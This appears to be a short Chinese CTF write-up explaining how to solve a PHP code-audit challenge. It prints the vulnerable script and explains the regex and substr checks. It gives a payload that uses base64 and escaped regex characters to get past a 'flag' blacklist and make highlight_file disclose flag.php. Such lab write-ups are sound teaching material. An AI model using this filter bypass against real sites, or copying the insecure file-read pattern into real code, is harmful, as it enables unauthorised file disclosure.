这是一道算是简单的代码审计题目知道了函数的本义解题就很简单了
pyload为 ?$first=aaaa|.php &zero=ZmxhZw==
error_reporting(0);
$zero=$_REQUEST['zero'];
$first=$_REQUEST['first'];
$second=$zero.$first;
if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)){
$key=$second;
if(preg_match("/\.\.|flag/",$key)){
die("Noooood hacker!");
}else{
$third=$first;
if(preg_match("/\\|\056\160\150\x70/i",$third)){
$end=substr($third,5);
highlight_file(base64_decode($zero).$end);//maybe flag in flag.php
}
}
}
else{
highlight_file(__FILE__);
}
$second='Hbwqqqqq';
$a= preg_match_all("/q/i",$second); //返回值是5
preg_match()同上,只是匹配一次就停止,成功返回1,否则返回0
substr()字符串的截取函数 共有三个参数 .
$second='Hbwq123';
$c= substr($second,4,2);
print($c);//输出12
first和zero是需要传的参数
key=>$second
$second=> $ zero.$first
$third=> $first
if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second))
传入的两个参数只要有这其中的字符就行了(一个就行)
if(preg_match("/\.\.|flag/",$key)){
die("Noooood hacker!");
}
不能匹配到 . 或flag
if(preg_match("/\\|\056\160\150\x70/i",$third))
这里注意的地方 形如\xnn为16进制(Hex),\nnn为8进制(Oct)在计算机导论中有讲过 ,php中将自动识别
\056\160\150\x70=>.php
这里匹配过程是这样的 \| => | => |
最终为|.php
$first=aaaa|.php &zero=ZmxhZw==
只要传入的first从第五个开始截取后与zero参数连接出现flag.php就行
这里的aaaa随意也可以oror也行
还有zero(flag)要base64加密ZmxhZw==